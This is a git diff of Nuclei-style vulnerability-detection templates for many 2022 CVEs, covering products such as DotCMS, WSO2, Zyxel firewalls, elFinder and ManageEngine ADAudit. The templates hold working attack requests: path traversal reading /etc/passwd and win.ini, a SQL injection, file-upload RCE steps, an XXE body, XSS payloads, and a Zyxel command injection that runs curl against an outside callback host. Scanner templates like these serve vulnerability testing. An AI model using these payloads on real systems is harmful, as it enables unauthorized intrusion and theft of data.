shodan-query: title:"Grafana" fofa-query: app="Grafana" + shodan-query: title:"Grafana" tags: cve,cve2022,grafana,zabbix,exposure - -http: +requests: - method: GET path: - "{{BaseURL}}/login?redirect=%2F" - matchers-condition: and matchers: + - type: regex + part: body + regex: + - '"password":"(.*?)"' + - '"username":"(.*?)"' + condition: and - type: word part: body words: @@ -42,18 +36,9 @@ http: - '"zbx":' - "alexanderzobnin-zabbix-datasource" condition: or - - - type: regex - part: body - regex: - - '"password":"(.*?)"' - - '"username":"(.*?)"' - condition: and - - type: status status: - 200 - extractors: - type: regex group: 1 @@ -61,4 +46,5 @@ http: - '"password":"(.*?)"' - '"username":"(.*?)"' - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php' -# digest: 4a0a00473045022100af0772acdc2a70ddb26ef898e93ac1913d8470d51b01dcaaaead8697e9ab0d0c02202e6848bf12996b32d4d8732402765b931f28bf3ee78af872102b238e3c6192a6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/CVE-2022-26159.yaml b/poc/cve/CVE-2022-26159.yaml index c830ed2369..f386a34bfa 100644 --- a/poc/cve/CVE-2022-26159.yaml +++ b/poc/cve/CVE-2022-26159.yaml @@ -1,22 +1,36 @@ id: CVE-2022-26159 + info: name: Ametys CMS Information Disclosure author: Remi Gascou (podalirius) severity: medium description: Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Ametys CMS. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-26159 - https://podalirius.net/en/cves/2022-26159/ - https://issues.ametys.org/browse/CMS-10973 + - https://github.com/p0dalirius/CVE-2022-26159-Ametys-Autocompletion-XML/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2022-26159 + cwe-id: CWE-425 + epss-score: 0.00597 + epss-percentile: 0.75971 + cpe: cpe:2.3:a:ametys:ametys:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: ametys + product: ametys tags: cve,cve2022,plugin,ametys,cms -requests: + +http: - method: GET path: - '{{BaseURL}}/plugins/web/service/search/auto-completion/domain/en.xml?q=adm' + matchers-condition: and matchers: - type: word @@ -24,12 +38,13 @@ requests: - '' - '' condition: and + - type: word part: header words: - 'text/xml' + - type: status status: - 200 - -# Enhanced by mp on 2022/03/23 +# digest: 4a0a00473045022100b57cd0cbf17488fd9a2b741b380441bfdd8f9d387b5a181506e81b91beb56848022075c934eeba7381931488958b0d3dd2836ecccd63c84f0064434d54d241851e56:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-26233.yaml b/poc/cve/CVE-2022-26233.yaml index 990028c53d..7985f8b327 100644 --- a/poc/cve/CVE-2022-26233.yaml +++ b/poc/cve/CVE-2022-26233.yaml @@ -1,32 +1,21 @@ id: CVE-2022-26233 - info: - name: Barco Control Room Management Suite <=2.9 Build 0275 - Local File Inclusion + name: Barco Control Room Management Suite - Directory Traversal author: 0x_Akoko severity: high - description: Barco Control Room Management through Suite 2.9 Build 0275 is vulnerable to local file inclusion that could allow attackers to access sensitive information and components. Requests must begin with the "GET /..\.." substring. - remediation: | - Upgrade Barco Control Room Management Suite to a version higher than 2.9 Build 0275 to mitigate the vulnerability. + description: Barco Control Room Management through Suite 2.9 Build 0275 was discovered to be vulnerable to directory traversal, allowing attackers to access sensitive information and components. Requests must begin with the "GET /..\.." substring. reference: - https://0day.today/exploit/37579 + - https://www.cvedetails.com/cve/CVE-2022-26233 - http://seclists.org/fulldisclosure/2022/Apr/0 - http://packetstormsecurity.com/files/166577/Barco-Control-Room-Management-Suite-Directory-Traversal.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-26233 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-26233 cwe-id: CWE-22 - epss-score: 0.00654 - epss-percentile: 0.77147 - cpe: cpe:2.3:a:barco:control_room_management_suite:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: barco - product: control_room_management_suite - tags: cve,cve2022,barco,lfi,seclists,packetstorm - -http: + tags: cve,cve2022,barco,lfi +requests: - raw: - |+ GET /..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1 @@ -41,4 +30,3 @@ http: - "fonts" - "extensions" condition: and -# digest: 4a0a0047304502207a7d4ee4f0dd6f49866a7289875d7ab019fe79259bb604cc6f02527e819746dc022100ae3ffdee27e2bf552b4dc3df1c6c6039e04d09ad39f74af313494fc76c9e2667:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-26352.yaml b/poc/cve/CVE-2022-26352.yaml index f75c2c3155..5f06544108 100644 --- a/poc/cve/CVE-2022-26352.yaml +++ b/poc/cve/CVE-2022-26352.yaml @@ -1,18 +1,33 @@ id: CVE-2022-26352 + info: name: DotCMS - Arbitrary File Upload author: h1ei1 severity: critical description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix this vulnerability. reference: - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/ - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352 - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html + - https://groups.google.com/g/dotcms classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 cve-id: CVE-2022-26352 - tags: cve,cve2022,rce,dotcms -requests: + cwe-id: CWE-22 + epss-score: 0.97484 + epss-percentile: 0.99966 + cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: dotcms + product: dotcms + tags: packetstorm,cve,cve2022,rce,dotcms,kev,fileupload,intrusive + +http: - raw: - | POST /api/content/ HTTP/1.1 @@ -30,7 +45,7 @@ requests: - | GET /{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} - req-condition: true + matchers: - type: dsl dsl: @@ -38,4 +53,4 @@ requests: - 'status_code_2 == 200' condition: and -# Enhanced by mp on 2022/05/19 +# digest: 490a004630440220314e389674d917401154b2b9782e723e24c6d2f9967e7388fc879f3a856976d3022020c28a0202ed288d613d1c0b3179e34945ec911273f4d4266b949ab8ae00f119:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2022-26960.yaml b/poc/cve/CVE-2022-26960.yaml index bf63cdbaa8..21b4f71879 100644 --- a/poc/cve/CVE-2022-26960.yaml +++ b/poc/cve/CVE-2022-26960.yaml @@ -1,13 +1,10 @@ id: CVE-2022-26960 - info: name: elFinder <=2.1.60 - Local File Inclusion author: pikpikcu severity: critical description: | elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. - remediation: | - Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability. reference: - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db @@ -18,30 +15,22 @@ info: cvss-score: 9.1 cve-id: CVE-2022-26960 cwe-id: CWE-22 - epss-score: 0.88417 - epss-percentile: 0.98392 - cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:* metadata: verified: true - max-request: 1 - vendor: std42 - product: elfinder tags: cve,cve2022,lfi,elfinder - -http: +requests: - raw: - | GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a00473045022007974a80e96be3bad230604c73e77300a035917d8157638c79d98a0265875156022100b09af0fedbc3a7a90bf7a837847df6402958020c04abd9325d9da8dab8d14aaa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/07/05 diff --git a/poc/cve/CVE-2022-27927.yaml b/poc/cve/CVE-2022-27927.yaml index 96820d1ca3..2d123b1139 100644 --- a/poc/cve/CVE-2022-27927.yaml +++ b/poc/cve/CVE-2022-27927.yaml @@ -1,38 +1,50 @@ id: CVE-2022-27927 + info: name: Microfinance Management System 1.0 - SQL Injection author: lucasljm2001,ekrause severity: critical description: | Microfinance Management System 1.0 is susceptible to SQL Injection. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927 - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip - https://www.exploit-db.com/exploits/50891 - https://nvd.nist.gov/vuln/detail/CVE-2022-27927 + - https://www.sourcecodester.com/php/14822/microfinance-management-system.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-27927 cwe-id: CWE-89 + epss-score: 0.05754 + epss-percentile: 0.92551 + cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:* metadata: - verified: "true" - tags: cve,cve2022,sqli,microfinance + verified: true + max-request: 1 + vendor: microfinance_management_system_project + product: microfinance_management_system + tags: microfinance,edb,cve,cve2022,sqli variables: num: "999999999" -requests: + +http: - raw: - | GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1 Host: {{Hostname}} + matchers-condition: and matchers: - type: word part: body words: - '{{md5({{num}})}}' + - type: status status: - 200 - -# Enhanced by mp on 2022/07/04 +# digest: 490a004630440220464fd4c01065b9bf307cf48002af84c65e941dcc0f8493b08a814af23294b99702204524bc02e881442819d643814da6a51b66f04c1719bf73a1869747bdf519c277:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-28080.yaml b/poc/cve/CVE-2022-28080.yaml index 102d3d12c1..dc59377c75 100644 --- a/poc/cve/CVE-2022-28080.yaml +++ b/poc/cve/CVE-2022-28080.yaml @@ -1,34 +1,21 @@ id: CVE-2022-28080 - info: name: Royal Event - SQL Injection author: lucasljm2001,ekrause,ritikchaddha severity: high description: | - Royal Event is vulnerable to a SQL injection vulnerability. - remediation: | - To remediate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL Injection attacks. + Detects an SQL Injection vulnerability in Royal Event System reference: - https://www.exploit-db.com/exploits/50934 - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip - - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated - https://nvd.nist.gov/vuln/detail/CVE-2022-28080 - - https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html + - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-28080 - cwe-id: CWE-89 - epss-score: 0.01456 - epss-percentile: 0.85223 - cpe: cpe:2.3:a:event_management_system_project:event_management_system:1.0:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: event_management_system_project - product: event_management_system - tags: royalevent,edb,cve,cve2022,sqli,authenticated,cms,intrusive - -http: + tags: cve,cve2022,sqli,authenticated,cms,royalevent +requests: - raw: - | POST /royal_event/ HTTP/1.1 @@ -67,14 +54,12 @@ http: 01/01/2011 ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- - + cookie-reuse: true matchers-condition: and matchers: - type: word words: - '{{md5("{{randstr}}")}}' - - type: status status: - 200 -# digest: 490a0046304402206cd10a1971d924c7bf214a8cd866c2ce47e1785ab940f77145d7f2aafa9c1b5602201a445e4a9e6c860516ee225bcf306114571359b98d3f4c4d7b826042ecdaf4fe:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-28219.yaml b/poc/cve/CVE-2022-28219.yaml index a812336fd8..e60acd11bd 100644 --- a/poc/cve/CVE-2022-28219.yaml +++ b/poc/cve/CVE-2022-28219.yaml @@ -1,4 +1,5 @@ id: CVE-2022-28219 + info: name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution author: dwisiswant0 @@ -6,29 +7,36 @@ info: description: | Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an unauthenticated XML entity injection attack that can lead to remote code execution. + remediation: | + Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus + is configured with a dedicated service account with restricted privileges. reference: - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html - https://www.horizon3.ai/red-team-blog-cve-2022-28219/ - https://manageengine.com - https://nvd.nist.gov/vuln/detail/CVE-2022-28219 - remediation: | - Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus - is configured with a dedicated service account with restricted privileges. + - http://cewolf.sourceforge.net/new/index.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-28219 cwe-id: CWE-611 + epss-score: 0.97413 + epss-percentile: 0.99915 + cpe: cpe:2.3:a:zohocorp:manageengine_adaudit_plus:*:*:*:*:*:*:*:* metadata: + verified: true + max-request: 1 + vendor: zohocorp + product: manageengine_adaudit_plus shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus" - verified: "true" tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth -requests: + +http: - method: POST path: - "{{BaseURL}}/api/agent/tabs/agentData" - headers: - Content-Type: application/json + body: | [ { @@ -39,15 +47,19 @@ requests: "Task Content": " %xxe; ]>" } ] + + headers: + Content-Type: application/json + matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + - type: word part: body words: - "ManageEngine" - -# Enhanced by mp on 2022/07/04 +# digest: 4a0a00473045022053b9f7694df286f6c2961d5e7eaa2104353dd71dbb97231ef218fbbba3f274e0022100ebef19da887d6c41db1a5ed868df0ef7646a9092331f6a9de4550f63fba803fb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-29455.yaml b/poc/cve/CVE-2022-29455.yaml index 1187f64d43..f87ea5062f 100644 --- a/poc/cve/CVE-2022-29455.yaml +++ b/poc/cve/CVE-2022-29455.yaml @@ -1,65 +1,47 @@ id: CVE-2022-29455 - info: - name: WordPress Elementor Website Builder <= 3.5.5 - DOM Cross-Site Scripting + name: Wordpress Elementor <= 3.5.5 - DOM-based Reflected Cross-Site Scripting author: rotembar,daffainfo severity: medium description: | - WordPress Elementor Website Builder plugin 3.5.5 and prior contains a reflected cross-site scripting vulnerability via the document object model. - remediation: | - Upgrade WordPress Elementor Website Builder to version 3.5.6 or later to mitigate this vulnerability. + DOM-based Reflected Cross-Site Scripting (XSS) vulnerability in Elementor's Elementor Website Builder plugin <= 3.5.5 versions. reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-29455 - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor - https://www.rotem-bar.com/elementor - https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability - - https://nvd.nist.gov/vuln/detail/CVE-2022-29455 - - https://wordpress.org/plugins/elementor/#developers classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-29455 cwe-id: CWE-79 - epss-score: 0.00222 - epss-percentile: 0.60385 - cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:* metadata: - verified: true - max-request: 1 - vendor: elementor - product: website_builder - framework: wordpress + verified: "true" tags: cve,cve2022,xss,wordpress,elementor - -http: +requests: - method: GET path: - '{{BaseURL}}/wp-content/plugins/elementor/readme.txt' - matchers-condition: and matchers: - - type: dsl - dsl: - - compare_versions(version, '<= 3.5.5') - - type: word part: body words: - 'Elementor Website Builder' - + - type: dsl + dsl: + - compare_versions(version, '<= 3.5.5') - type: status status: - 200 - extractors: - type: regex name: version + internal: true group: 1 regex: - "(?m)Stable tag: ([0-9.]+)" - internal: true - - type: regex group: 1 regex: - "(?m)Stable tag: ([0-9.]+)" -# digest: 4a0a00473045022100f41a3e7b91e4f8131b22dd1847edaed36346995dce5aa3d615b7b1d3a777fc8302200517346d2bd21296244a4341a36c4d8bfbdc7a3c58b0b4ac285fc2f2892bc409:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-29464.yaml b/poc/cve/CVE-2022-29464.yaml index db2deec720..9326e5f753 100644 --- a/poc/cve/CVE-2022-29464.yaml +++ b/poc/cve/CVE-2022-29464.yaml @@ -1,35 +1,24 @@ id: CVE-2022-29464 - info: name: WSO2 Management - Arbitrary File Upload & Remote Code Execution author: luci,dhiyaneshDk severity: critical description: | Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. - remediation: | - Apply the latest security patches and updates provided by WSO2 to mitigate this vulnerability. reference: - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/ - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 - https://github.com/hakivvi/CVE-2022-29464 - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 - - http://www.openwall.com/lists/oss-security/2022/04/22/7 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-29464 - cwe-id: CWE-22 - epss-score: 0.97364 - epss-percentile: 0.99883 - cpe: cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* + cwe-id: CWE-434 metadata: - max-request: 2 - vendor: wso2 - product: api_manager shodan-query: http.favicon.hash:1398055326 tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev - -http: +requests: - raw: - | POST /fileupload/toolsAny HTTP/1.1 @@ -46,9 +35,10 @@ http: - | GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1 Host: {{Hostname}} - + req-condition: true matchers: - type: dsl dsl: - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" -# digest: 4b0a00483046022100e5abba7705eea093f251268f183097c8ba780c95f09f12dfd080a0176c738554022100c02e83e3987f41743bf0185edec0e9acc23f7425108ed3e9447ccae59c83d51f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/CVE-2022-30073.yaml b/poc/cve/CVE-2022-30073.yaml index 6ffd826db8..d4790c7327 100644 --- a/poc/cve/CVE-2022-30073.yaml +++ b/poc/cve/CVE-2022-30073.yaml @@ -1,23 +1,33 @@ id: CVE-2022-30073 + info: - name: WBCE CMS v1.5.2 XSS Stored + name: WBCE CMS 1.5.2 - Cross-Site Scripting author: arafatansari severity: medium description: | - WBCE CMS 1.5.2 is vulnerable to Cross Site Scripting (XSS) via \admin\user\save.php Display Name parameters. + WBCE CMS 1.5.2 contains a stored cross-site scripting vulnerability via \admin\user\save.php Display Name parameters. + remediation: | + Upgrade to a patched version of WBCE CMS or apply the vendor-supplied patch to mitigate this vulnerability. reference: - https://github.com/APTX-4879/CVE - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30073 - https://github.com/APTX-4879/CVE/blob/main/CVE-2022-30073.pdf + - https://nvd.nist.gov/vuln/detail/CVE-2022-30073 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-30073 cwe-id: CWE-79 + epss-score: 0.00195 + epss-percentile: 0.57281 + cpe: cpe:2.3:a:wbce:wbce_cms:1.5.2:*:*:*:*:*:*:* metadata: - verified: "true" + verified: true + max-request: 4 + vendor: wbce + product: wbce_cms tags: cve,cve2022,wbcecms,xss -requests: + +http: - raw: - | POST /admin/login/index.php HTTP/1.1 @@ -37,15 +47,7 @@ requests: - | GET /admin/users/index.php HTTP/1.1 Host: {{Hostname}} - extractors: - - type: regex - name: formtoken - part: body - group: 1 - regex: - - '' - internal: true - cookie-reuse: true + matchers-condition: and matchers: - type: word @@ -54,10 +56,22 @@ requests: - "

" - "WBCECMS" condition: and + - type: word part: header words: - text/html + - type: status status: - 200 + + extractors: + - type: regex + name: formtoken + group: 1 + regex: + - '' + internal: true + part: body +# digest: 4b0a004830460221008ffe47614c146f0db8a32472174c85a7f7980fef4712e5c0d368b668aadc27a302210081d7a5d6c9bf2cfdbaeea1f2fbcae70e2e042b3806b7efc4fb7a0ac8217fef54:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-30489.yaml b/poc/cve/CVE-2022-30489.yaml index fa2302aea9..26c50ffda2 100644 --- a/poc/cve/CVE-2022-30489.yaml +++ b/poc/cve/CVE-2022-30489.yaml @@ -1,24 +1,34 @@ id: CVE-2022-30489 + info: - name: Wavlink Wn535g3 - POST XSS + name: Wavlink WN-535G3 - Cross-Site Scripting author: For3stCo1d severity: medium description: | - WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi. + Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi. + remediation: | + Apply the latest firmware update provided by the vendor to mitigate this vulnerability. reference: - https://github.com/badboycxcc/XSS-CVE-2022-30489 - - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 - https://github.com/badboycxcc/XSS + - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30489 cwe-id: CWE-79 + epss-score: 0.00101 + epss-percentile: 0.4119 + cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:* metadata: + verified: true + max-request: 1 + vendor: wavlink + product: wn535g3_firmware shodan-query: http.title:"Wi-Fi APP Login" - verified: "true" tags: xss,cve2022,wavlink,cve,router,iot -requests: + +http: - raw: - | POST /cgi-bin/login.cgi HTTP/1.1 @@ -26,6 +36,7 @@ requests: Content-Type: application/x-www-form-urlencoded newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn + matchers-condition: and matchers: - type: word @@ -33,10 +44,13 @@ requests: - '' - 'parent.location.replace("http://")' condition: and + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 4a0a00473045022100c3998020833570168c8a520e8e3e9cba021783a9b78a1a83f85ba5f17f4725e302204743fb961bd8f4f6903b05bdd279a8be536ddaaacae15f1732e58101d30d715d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-30525.yaml b/poc/cve/CVE-2022-30525.yaml index d79e40ad32..f1fe6f3456 100644 --- a/poc/cve/CVE-2022-30525.yaml +++ b/poc/cve/CVE-2022-30525.yaml @@ -1,35 +1,24 @@ id: CVE-2022-30525 - info: name: Zyxel Firewall - OS Command Injection author: h1ei1,prajiteshsingh severity: critical description: | An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. - remediation: | - Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability. reference: - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ - https://github.com/rapid7/metasploit-framework/pull/16563 - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 - - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-30525 cwe-id: CWE-78 - epss-score: 0.97471 - epss-percentile: 0.9996 - cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:* metadata: - max-request: 1 - vendor: zyxel - product: usg_flex_100w_firmware shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" - tags: packetstorm,zyxel,cve,cve2022,firewall,unauth,kev,msf,rce - -http: + tags: rce,zyxel,cve,cve2022,firewall,unauth,kev +requests: - raw: - | POST /ztp/cgi-bin/handler HTTP/1.1 @@ -37,16 +26,14 @@ http: Content-Type: application/json {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} - matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - - type: status status: - 500 -# digest: 490a004630440220687a22b3bd8bee709188c482c7e838d074dca4efaf0a1ed06cc0d85d1136a49902205ee9f76edd0def8aefc76a44039cd5bc90663c1832036bce71a37a92d64d6fab:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/CVE-2022-30776.yaml b/poc/cve/CVE-2022-30776.yaml index 01d041919e..13cca2459e 100644 --- a/poc/cve/CVE-2022-30776.yaml +++ b/poc/cve/CVE-2022-30776.yaml @@ -1,53 +1,38 @@ id: CVE-2022-30776 - info: - name: Atmail 6.5.0 - Cross-Site Scripting + name: Atmail - Cross Site Scripting author: 3th1c_yuk1 severity: medium description: | - Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter. - remediation: | - Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability. + atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter. reference: - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 - https://www.atmail.com/ - - https://help.atmail.com/hc/en-us/sections/115003283988 - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 - - https://medium.com/%40bhattronit96/cve-2022-30776-cd34f977c2b9 + - https://help.atmail.com/hc/en-us/sections/115003283988 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30776 cwe-id: CWE-79 - epss-score: 0.0013 - epss-percentile: 0.47644 - cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: atmail - product: atmail shodan-query: http.html:"atmail" + verified: "true" tags: cve,cve2022,atmail,xss - -http: +requests: - method: GET path: - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - matchers-condition: and matchers: - type: word part: body words: - "Error: 1" - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4a0a00473045022100fc7c2a085b98fc4d069ddca8da1e86478eee97e73e987de37a959df1966e2da3022027bf812e355c6f7c909e8f042ca53952bb8247e5ed3f9c0f92af5fc4b2dbb4ff:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-30777.yaml b/poc/cve/CVE-2022-30777.yaml index 64534b602c..2c50f208fc 100644 --- a/poc/cve/CVE-2022-30777.yaml +++ b/poc/cve/CVE-2022-30777.yaml @@ -1,54 +1,38 @@ id: CVE-2022-30777 - info: - name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting + name: Parallels H-Sphere - Cross Site Scripting author: 3th1c_yuk1 severity: medium description: | - Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter. - remediation: | - Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability. + Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter. reference: - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 - - https://en.wikipedia.org/wiki/H-Sphere - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 - - 